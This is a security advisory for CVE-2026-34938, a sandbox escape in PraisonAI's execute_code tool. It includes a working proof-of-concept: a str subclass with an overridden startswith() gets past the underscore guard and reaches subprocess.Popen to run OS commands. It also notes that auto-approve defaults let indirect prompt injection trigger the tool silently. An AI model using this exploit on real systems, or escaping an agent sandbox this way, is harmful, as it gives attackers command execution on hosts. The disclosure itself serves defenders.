Browse / Tool and Agent Misuse / CVE-2026-34938
PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
- Class
- Tool and Agent Misuse (filed by a model that read the advisory)
- Technique
- Sandbox escape
- Affected
- praisonaiagents (PyPI)
- Gets past
- Sandbox or allowlist
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- EPSS
- 13.4% chance of exploitation in 30 days
How it works, in short
A str subclass overriding startswith defeats the underscore guard, letting attacker-supplied Python reach subprocess functions and run OS commands. (Our summary, written by a model. The source text is below.)
Details
Summary
execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.
Details
python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses
raise AttributeError(...)
# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
PoC
from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
try:
m = getattr(cls, mod_attr, '')
n = getattr(cls, name_attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294
- https://nvd.nist.gov/vuln/detail/CVE-2026-34938
- https://github.com/MervinPraison/PraisonAI
- https://github.com/pypa/advisory-database/tree/main/vulns/praisonaiagents/PYSEC-2026-484.yaml
- https://pypi.org/project/praisonaiagents
Source: GitHub Advisory Database, used under CC BY 4.0.